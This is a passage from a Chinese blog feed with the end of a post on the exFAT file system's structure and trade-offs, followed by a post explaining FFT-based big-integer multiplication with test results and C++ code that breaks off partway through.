<p>簇的分配状态由簇堆自己的 Bitmap Allocation Table 追踪。</p>
<ul>
<li>
<p>簇堆分配位示图</p>
<p>簇堆分配位示图，记录分区上所有簇的使用情况。每一个 bit 代表一个簇，0 表示空簇，1 表示该簇已被占用。起始簇号从 2 开始，也就是 BIT0 对应簇号 2，BIT1 对应簇号 3。簇堆分配位示图以文件存储的方式存在，一般对应根目录下第一个文件，也就是第二个目录项。他的大小由总簇数决定，占用 N 个簇的空间。</p>
</li>
<li>
<p>大写转换表</p>
<p>大写表是一张 Unicode 字符映射图，每一个字符占用 2 个字节。文件名比较时，先把文件名格式转换成 Unicode，再通过该表把文件名转成大写 Unicode，转换完成后才进行文件名比较。大写表中的数据进行了部分压缩，压缩起始标志码 FFFFh，随后跟一个压缩长度。</p>
</li>
</ul>
<h3 id="24-目录结构">2.4 目录结构</h3>
<p>exFAT 使用树状结构来描述文件和目录之间的关系。根目录树定义目录在 RootDirectoryCluster 之中。子目录单向连接到它，(.) 和 (..) 目录指向自己本身和父目录，这像 FAT16/FAT32一样。每个 directory 包括一系列的目录条目，目录条目的优先等级如下：</p>
<blockquote>
<ul>
<li>
<p>Primary Directory Entries</p>
<ol>
<li>Critical Primary Entries</li>
<li>Benign Primary Entries</li>
</ol>
</li>
<li>
<p>Secondary Directory Entries</p>
<ol>
<li>Critical Primary Entries</li>
<li>Benign Primary Entries</li>
</ol>
</li>
</ul>
</blockquote>
<p>Critical entries 是必须项，benign entries 是可选的，Primary directory entries 对应文件系统中的条目，Secondary directory entries 是 primary directory entry 数据扩展和关联。一组 primary/secondary entries 组成 directory entry 设置文件或目录，设置第一个 directory entry 为 primary directory entry，所有子条目必须是 Secondary directory entries 。</p>
<h2 id="3-优点">3. 优点</h2>
<p>exFAT 相较于之前 FAT 文件系统的优势在于：</p>
<ul>
<li>可拓展至更大的磁盘大小，理论上 64 ZB，推荐最大 512 TB。相较 32 位限制的 FAT32 分区的 2 TB（每扇区 512 字节）大了很多。</li>
<li>理论的文件大小限制为 $2^{64} - 1$ 字节（16 EB - 1），而 FAT32 文件系统中单一文件限制大小为 $2^{32} - 1$ 字节（4 GB）。</li>
<li>簇大小最大可为每扇区225字节，最大32 MB。</li>
<li>由于采用了空余空间寻址，空间分配和删除的性能得以改进。</li>
<li>在单一文件夹内支持超过 $2^{16}$ 个文件。</li>
</ul>
<h2 id="4-缺点">4. 缺点</h2>
<p>exFAT 比过去的 FAT 文件系统的劣势在于：</p>
<ul>
<li>某些旧设备无法使用exFAT格式的存储卡。</li>
<li>exFAT 为微软专有，专利授权方式不明确。夏普、RIM 分别和微软达成了 exFAT 授权协议。存在专利费。微软曾经为 FAT 的一部分申请专利。</li>
<li>Windows XP SP3 之前的旧版 Windows 暂时不支持 exFAT。</li>
</ul>
<h2 id="5-应用">5. 应用</h2>
<p>如果有跨平台使用 u 盘 / 硬盘的需求，那 exFAT 将会是一个很好的选择（如果需要使用 Windows XP 或者更老的系统，那还是请使用 FAT32）。exFAT 在 Windows，MacOS，Linux 上均有原生支持，并且支持大文件的存储。</p>
]]></content:encoded>
    </item>
    <item>
      <title>FFT解大整数乘法</title>
      <link>https://sttev.com/posts/09-fft-bignum/</link>
      <pubDate>Thu, 13 Dec 2018 22:30:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/09-fft-bignum/</guid>
      <description>&lt;h2 id=&#34;1-代码文件说明&#34;&gt;1. 代码文件说明&lt;/h2&gt;&#xA;&lt;p&gt;提交的代码包括两个文件夹，fft 和 judge。fft 文件夹包括的是可独立运行的 fft 求大数乘法的程序（做了输入输出重定向），以及实际提交于 Leetcode 的代码。judge 文件夹包含了三个数据文件（test.data 为十组本地测试数据，ans.data 为正确答案，fftans.data 为 fft.exe 的运行输出结果），两个 python 文件（data.py 为生成测试数据和答案的脚本，judge.py 为判断结果是否正确的脚本）。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="1-代码文件说明">1. 代码文件说明</h2>
<p>提交的代码包括两个文件夹，fft 和 judge。fft 文件夹包括的是可独立运行的 fft 求大数乘法的程序（做了输入输出重定向），以及实际提交于 Leetcode 的代码。judge 文件夹包含了三个数据文件（test.data 为十组本地测试数据，ans.data 为正确答案，fftans.data 为 fft.exe 的运行输出结果），两个 python 文件（data.py 为生成测试数据和答案的脚本，judge.py 为判断结果是否正确的脚本）。</p>
<p><em>代码放在文末。</em></p>
<h2 id="2-求解思想">2. 求解思想</h2>
<ul>
<li>
<p>系数表示法</p>
<p>在计算乘法的时候，我们可以把一个数字分解为一个多项式 $A(x) = \sum^{n-1}_{i=0}\alpha_ix^i$ 。对于一个固定的 $x$，我们就可以把两个数字分解为 $n$, $m$ 维的两个向量（两个 $x$ 进制数），则乘法结果就是对应的 $n$ 维和 $m$ 维的向量的卷积结果（多项式系数的卷积）。根据 <strong>卷积定理</strong> ：</p>
<blockquote>
<p><strong>向量卷积的离散傅里叶变换 是 向量离散傅里叶变换的乘积。</strong></p>
</blockquote>
<p>我们就可以把两个大数分解为向量 $a$，$b$，然后对两个向量分别做离散傅里叶变换，之后逐位相乘得到一个新向量 $c$。对 $c$ 做逆离散傅里叶变换，再进行进位，就可以得到结果。</p>
<p>快速傅里叶变换可以做到在 $O(NlogN)$ 的复杂度完成原本 $O(N^2)$ 复杂度的离散傅里叶变换，让整个算法的复杂度也降低到 $O(NlogN)$ 。</p>
</li>
<li>
<p>点值表示法</p>
<p>对 <strong>卷积定理</strong> 进一步进行展开解释。在两个整数分解为 $A(x)$ 的时候，我们可以分别对于 $n$ 个不同的 $x$ 值记录 $n$ 个点值对 $(x_i,A_a(x_i))$ 和 $(x_i,A_b(x_i))$ 。那么我们也可以根据这两组点值对直接得到乘法结果对应的一组点值对 $(x_i,A_a(x_i)\times A_b(x_i))$ 。</p>
<p><strong>多项式插值的唯一性定理</strong> 证明了这 $n$ 个点值对即可用来表示（还原）对应的多项式。由于乘法结果会有 $2n$ 位，所以我们一开始分解时实际分别记录两个数对应的 $2n$ 个点值对，最终可以使用插值函数的方法恢复出 $2n$ 位的乘法结果。</p>
<p>这和之前系数表示法那一段之间的联系就在于，离散傅里叶变换 DFT 就是一个计算系数表达式与点值表达式之间互换的算法（采样）。只不过实际计算过程中，DFT 选取的 $x$ 值是复数值（n次单位根）。</p>
<p>直接使用 DFT 计算的话，转换步骤的复杂度显然需要 $O(n^2)$ 。而 FFT 能够快速完成系数表达式和点值表达式之间的换算，使复杂度降低到 $O(NlogN)$ 。</p>
</li>
<li>
<p>FFT 计算过程</p>
<p>结合 <strong>消去引理</strong>，<strong>折半引理</strong>，<strong>求和引理</strong>，我们可以分治的求解 DFT：</p>
<p>一个界长为 $N$ 的离散傅里叶变换可以重新写成两个界长各为 $N/2$ 的离散傅里叶变换之和。其中一个变换由原来 $N$ 个点中的偶数点构成，另一个变换由奇数点构成。这个过程递归进行下去，直到将全部数据细分为界长为 1 的变换。在边界上，界长为 1 的变换等于自身。</p>
<p>为了方便起见，在反转置换之前先补充前导零，使向量长度为 2 的幂形式。然后对向量进行裂项，即反转变换。将一个 2 的 n 次幂长度的向量进行裂项操作，每个元素的位置就会是下标的二进制反转之后再转换成十进制的位置，可以采用 Rader 算法（二进制平摊反转置换算法）实现，这样可以将递归转化成迭代执行。</p>
<p>最终在回溯的时候，不断套用公式执行蝶形运算，就可以得到结果了。</p>
<p>由于递归执行了求解过程，递归树为一棵完全二叉树，所以易知复杂度为 $O(NlogN)$ 。</p>
</li>
<li>
<p>逆 FFT</p>
<p>只需对原来的 FFT 算法代码进行小小的修改：a 和 y 互换，$ω_n^{-1}$ 代替 $ω_n$ ，最后所有值除以 $n$ 即可。</p>
</li>
<li>
<p>全部程序执行流程：</p>
<p>读入两个大数字符串，分别转化为数组一位一位存储，并补充前导零。分别进行 FFT 计算，按位相乘，然后做 IFFT 计算。最后将结果进行进位操作，就能得到最终的乘法结果。</p>
</li>
</ul>
<h2 id="3-代码执行结果">3. 代码执行结果</h2>
<ul>
<li>
<p>本地数据</p>
<p>共生成了 10 组 100 $\times$ 100 位的随机数。</p>
<p>示例：（第一组大数）</p>
<blockquote>
<p>7739385993211797423647071118580282469713569881037743170530795280641276969768173826242862186300508114</p>
<p>9672516198036485560430536046045403561144663114397844686576323489397779756322778671971277864423561283</p>
</blockquote>
<p>得到结果：</p>
<blockquote>
<p>74859336382197804460271536901670667372336115116031816158713680432079139311256687277234225158377643751548229859235061475750266007841281857699781669159860971180777171200406847628409854302216736317750262</p>
</blockquote>
<p>使用 Python 脚本判断十组数据运行正确性：</p>
<p><img src="../FFT.assets/1544710393052.png" alt="1544710393052"></p>
<p>通过测试。</p>
</li>
<li>
<p>Leetcode (<a href="https://leetcode.com/problems/multiply-strings/">https://leetcode.com/problems/multiply-strings/</a>)</p>
<p><img src="../FFT.assets/Snipaste_2018-12-13_22-17-07.png" alt="Snipaste_2018-12-13_22-17-07"></p>
<p><img src="../FFT.assets/Snipaste_2018-12-13_22-23-15.png" alt="Snipaste_2018-12-13_22-23-15"></p>
<p>通过。</p>
<p>P.S.  Leetcode 上这道题最快的 4 ms 过题代码使用的是最朴素的 $O(n^2)$ 逐位相乘然后进位的算法。我的代码慢了 50 多倍，这说明 FFT 的常数大概是非常大了（至少我这个代码是）。</p>
</li>
</ul>
<h2 id="代码">代码</h2>
<p><code>fft/fft.cpp</code></p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="ln">  1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdio&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">  2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">  3</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cmath&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">  4</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstring&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">  5</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;algorithm&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">  6</span><span class="cl">
</span></span><span class="line"><span class="ln">  7</span><span class="cl"><span class="k">using</span> <span class="k">namespace</span> <span class="n">std</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">  8</span><span class="cl">
</span></span><span class="line"><span class="ln">  9</span><span class="cl"><span class="k">const</span> <span class="kt">double</span> <span class="n">PI</span> <span class="o">=</span> <span class="n">acos</span><span class="p">(</span><span class="o">-</span><span class="mf">1.0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 10</span><span class="cl">
</span></span><span class="line"><span class="ln"> 11</span><span class="cl"><span class="c1">// 复数结构体
</span></span></span><span class="line"><span class="ln"> 12</span><span class="cl"><span class="k">struct</span> <span class="nc">Complex</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 13</span><span class="cl">    <span class="kt">double</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">;</span>     <span class="c1">// 实部和虚部 x + yi
</span></span></span><span class="line"><span class="ln"> 14</span><span class="cl">    <span class="n">Complex</span><span class="p">(</span><span class="kt">double</span> <span class="n">_x</span> <span class="o">=</span> <span class="mf">0.0</span><span class="p">,</span> <span class="kt">double</span> <span class="n">_y</span> <span class="o">=</span> <span class="mf">0.0</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 15</span><span class="cl">        <span class="n">x</span> <span class="o">=</span> <span class="n">_x</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 16</span><span class="cl">        <span class="n">y</span> <span class="o">=</span> <span class="n">_y</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 17</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 18</span><span class="cl">    <span class="n">Complex</span> <span class="k">operator</span> <span class="o">-</span> <span class="p">(</span><span class="k">const</span> <span class="n">Complex</span> <span class="o">&amp;</span><span class="n">b</span><span class="p">)</span> <span class="k">const</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 19</span><span class="cl">        <span class="k">return</span> <span class="nf">Complex</span><span class="p">(</span><span class="n">x</span> <span class="o">-</span> <span class="n">b</span><span class="p">.</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="o">-</span> <span class="n">b</span><span class="p">.</span><span class="n">y</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 20</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 21</span><span class="cl">    <span class="n">Complex</span> <span class="k">operator</span> <span class="o">+</span> <span class="p">(</span><span class="k">const</span> <span class="n">Complex</span> <span class="o">&amp;</span><span class="n">b</span><span class="p">)</span> <span class="k">const</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 22</span><span class="cl">        <span class="k">return</span> <span class="nf">Complex</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">b</span><span class="p">.</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="o">+</span> <span class="n">b</span><span class="p">.</span><span class="n">y</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 23</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 24</span><span class="cl">    <span class="n">Complex</span> <span class="k">operator</span> <span class="o">*</span> <span class="p">(</span><span class="k">const</span> <span class="n">Complex</span> <span class="o">&amp;</span><span class="n">b</span><span class="p">)</span> <span class="k">const</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 25</span><span class="cl">        <span class="k">return</span> <span class="nf">Complex</span><span class="p">(</span><span class="n">x</span><span class="o">*</span><span class="n">b</span><span class="p">.</span><span class="n">x</span> <span class="o">-</span> <span class="n">y</span><span class="o">*</span><span class="n">b</span><span class="p">.</span><span class="n">y</span><span class="p">,</span> <span class="n">x</span><span class="o">*</span><span class="n">b</span><span class="p">.</span><span class="n">y</span> <span class="o">+</span> <span class="n">y</span><span class="o">*</span><span class="n">b</span><span class="p">.</span><span class="n">x</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 26</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 27</span><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="ln"> 28</span><span class="cl">
</span></span><span class="line"><span class="ln"> 29</span><span class="cl"><span class="c1">// FFT 和 IFFT 前的反转变换。
</span></span></span><span class="line"><span class="ln"> 30</span><span class="cl"><span class="c1">// 位置 i 和 （i 二进制反转后位置）互换
</span></span></span><span class="line"><span class="ln"> 31</span><span class="cl"><span class="c1">// len 必须是 2 的幂
</span></span></span><span class="line"><span class="ln"> 32</span><span class="cl"><span class="kt">void</span> <span class="nf">change</span><span class="p">(</span><span class="n">Complex</span> <span class="n">y</span><span class="p">[],</span> <span class="kt">int</span> <span class="n">len</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 33</span><span class="cl">    <span class="kt">int</span> <span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">k</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 34</span><span class="cl">    <span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="n">j</span> <span class="o">=</span> <span class="n">len</span> <span class="o">/</span> <span class="mi">2</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 35</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">i</span> <span class="o">&lt;</span> <span class="n">j</span><span class="p">)</span> <span class="n">swap</span><span class="p">(</span><span class="n">y</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">y</span><span class="p">[</span><span class="n">j</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">        <span class="c1">// 交换互为小标反转的元素，i &lt; j 保证交换一次
</span></span></span><span class="line"><span class="ln"> 37</span><span class="cl">        <span class="c1">// i 做正常的 +1，j 左反转类型的 +1,始终保持 i 和 j 是反转的
</span></span></span><span class="line"><span class="ln"> 38</span><span class="cl">        <span class="n">k</span> <span class="o">=</span> <span class="n">len</span> <span class="o">/</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 39</span><span class="cl">        <span class="k">while</span><span class="p">(</span><span class="n">j</span> <span class="o">&gt;=</span> <span class="n">k</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 40</span><span class="cl">            <span class="n">j</span> <span class="o">-=</span> <span class="n">k</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 41</span><span class="cl">            <span class="n">k</span> <span class="o">/=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 42</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 43</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">j</span> <span class="o">&lt;</span> <span class="n">k</span><span class="p">)</span> <span class="n">j</span> <span class="o">+=</span> <span class="n">k</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 44</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 45</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 46</span><span class="cl">
</span></span><span class="line"><span class="ln"> 47</span><span class="cl"><span class="c1">// FFT
</span></span></span><span class="line"><span class="ln"> 48</span><span class="cl"><span class="c1">// len 必须为 2 的幂，
</span></span></span><span class="line"><span class="ln"> 49</span><span class="cl"><span class="c1">// on == 1 时是 DFT，on == -1 时是 IDFT
</span></span></span><span class="line"><span class="ln"> 50</span><span class="cl"><span class="kt">void</span> <span class="nf">fft</span><span class="p">(</span><span class="n">Complex</span> <span class="n">y</span><span class="p">[],</span> <span class="kt">int</span> <span class="n">len</span><span class="p">,</span> <span class="kt">int</span> <span class="n">on</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 51</span><span class="cl">    <span class="n">change</span><span class="p">(</span><span class="n">y</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 52</span><span class="cl">    <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">h</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="n">h</span> <span class="o">&lt;=</span> <span class="n">len</span><span class="p">;</span> <span class="n">h</span> <span class="o">*=</span> <span class="mi">2</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 53</span><span class="cl">        <span class="n">Complex</span> <span class="n">wn</span><span class="p">(</span><span class="n">cos</span><span class="p">(</span><span class="o">-</span><span class="n">on</span> <span class="o">*</span> <span class="mi">2</span><span class="o">*</span><span class="n">PI</span> <span class="o">/</span> <span class="n">h</span><span class="p">),</span> <span class="n">sin</span><span class="p">(</span><span class="o">-</span><span class="n">on</span> <span class="o">*</span> <span class="mi">2</span><span class="o">*</span><span class="n">PI</span> <span class="o">/</span> <span class="n">h</span><span class="p">));</span>
</span></span><span class="line"><span class="ln"> 54</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">j</span> <span class="o">+=</span> <span class="n">h</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 55</span><span class="cl">            <span class="n">Complex</span> <span class="n">w</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 56</span><span class="cl">            <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="n">j</span><span class="p">;</span> <span class="n">k</span> <span class="o">&lt;</span> <span class="n">j</span> <span class="o">+</span> <span class="n">h</span><span class="o">/</span><span class="mi">2</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">                <span class="n">Complex</span> <span class="n">u</span> <span class="o">=</span> <span class="n">y</span><span class="p">[</span><span class="n">k</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 58</span><span class="cl">                <span class="n">Complex</span> <span class="n">t</span> <span class="o">=</span> <span class="n">w</span> <span class="o">*</span> <span class="n">y</span><span class="p">[</span><span class="n">k</span> <span class="o">+</span> <span class="n">h</span><span class="o">/</span><span class="mi">2</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 59</span><span class="cl">                <span class="n">y</span><span class="p">[</span><span class="n">k</span><span class="p">]</span> <span class="o">=</span> <span class="n">u</span> <span class="o">+</span> <span class="n">t</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 60</span><span class="cl">                <span class="n">y</span><span class="p">[</span><span class="n">k</span> <span class="o">+</span> <span class="n">h</span><span class="o">/</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">u</span> <span class="o">-</span> <span class="n">t</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 61</span><span class="cl">                <span class="n">w</span> <span class="o">=</span> <span class="n">w</span> <span class="o">*</span> <span class="n">wn</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 62</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 64</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 65</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">on</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 66</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">            <span class="n">y</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">x</span> <span class="o">/=</span> <span class="n">len</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 68</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 69</span><span class="cl">
</span></span><span class="line"><span class="ln"> 70</span><span class="cl"><span class="k">const</span> <span class="kt">int</span> <span class="n">MAXN</span> <span class="o">=</span> <span class="mi">200010</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 71</span><span class="cl"><span class="n">Complex</span> <span class="n">x1</span><span class="p">[</span><span class="n">MAXN</span><span class="p">],</span> <span class="n">x2</span><span class="p">[</span><span class="n">MAXN</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 72</span><span class="cl"><span class="kt">char</span> <span class="n">str1</span><span class="p">[</span><span class="n">MAXN</span> <span class="o">/</span> <span class="mi">2</span><span class="p">],</span> <span class="n">str2</span><span class="p">[</span><span class="n">MAXN</span> <span class="o">/</span> <span class="mi">2</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 73</span><span class="cl"><span class="kt">int</span> <span class="n">sum</span><span class="p">[</span><span class="n">MAXN</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 74</span><span class="cl">
</span></span><span class="line"><span class="ln"> 75</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">    <span class="n">freopen</span><span class="p">(</span><span class="s">&#34;test.data&#34;</span><span class="p">,</span> <span class="s">&#34;r&#34;</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">    <span class="n">freopen</span><span class="p">(</span><span class="s">&#34;fftans.data&#34;</span><span class="p">,</span> <span class="s">&#34;w&#34;</span><span class="p">,</span> <span class="n">stdout</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 78</span><span class="cl">
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">    <span class="c1">// 输入两个大数字符串
</span></span></span><span class="line"><span class="ln"> 80</span><span class="cl">    <span class="k">while</span><span class="p">(</span><span class="n">scanf</span><span class="p">(</span><span class="s">&#34;%s%s&#34;</span><span class="p">,</span> <span class="n">str1</span><span class="p">,</span> <span class="n">str2</span><span class="p">)</span><span class="o">!=</span><span class="n">EOF</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 81</span><span class="cl">        <span class="kt">int</span> <span class="n">len1</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">str1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 82</span><span class="cl">        <span class="kt">int</span> <span class="n">len2</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">str2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 83</span><span class="cl">
</span></span><span class="line"><span class="ln"> 84</span><span class="cl">        <span class="kt">int</span> <span class="n">len</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">        <span class="k">while</span><span class="p">(</span><span class="n">len</span> <span class="o">&lt;</span> <span class="n">len1</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">||</span> <span class="n">len</span> <span class="o">&lt;</span> <span class="n">len2</span> <span class="o">*</span> <span class="mi">2</span><span class="p">)</span> <span class="n">len</span> <span class="o">*=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 86</span><span class="cl">
</span></span><span class="line"><span class="ln"> 87</span><span class="cl">        <span class="c1">// 把字符串转化为复数数组并补前导 0 至 2 的幂
</span></span></span><span class="line"><span class="ln"> 88</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 89</span><span class="cl">            <span class="n">x1</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">Complex</span><span class="p">(</span><span class="n">str1</span><span class="p">[</span><span class="n">len1</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">-</span> <span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="sc">&#39;0&#39;</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">len1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">            <span class="n">x1</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">Complex</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 92</span><span class="cl">
</span></span><span class="line"><span class="ln"> 93</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len2</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 94</span><span class="cl">            <span class="n">x2</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">Complex</span><span class="p">(</span><span class="n">str2</span><span class="p">[</span><span class="n">len2</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">-</span> <span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="sc">&#39;0&#39;</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 95</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">len2</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 96</span><span class="cl">            <span class="n">x2</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">Complex</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 97</span><span class="cl">        
</span></span><span class="line"><span class="ln"> 98</span><span class="cl">        <span class="c1">// 求DFT
</span></span></span><span class="line"><span class="ln"> 99</span><span class="cl">        <span class="n">fft</span><span class="p">(</span><span class="n">x1</span><span class="p">,</span> <span class="n">len</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">100</span><span class="cl">        <span class="n">fft</span><span class="p">(</span><span class="n">x2</span><span class="p">,</span> <span class="n">len</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">101</span><span class="cl">
</span></span><span class="line"><span class="ln">102</span><span class="cl">        <span class="c1">// 相乘
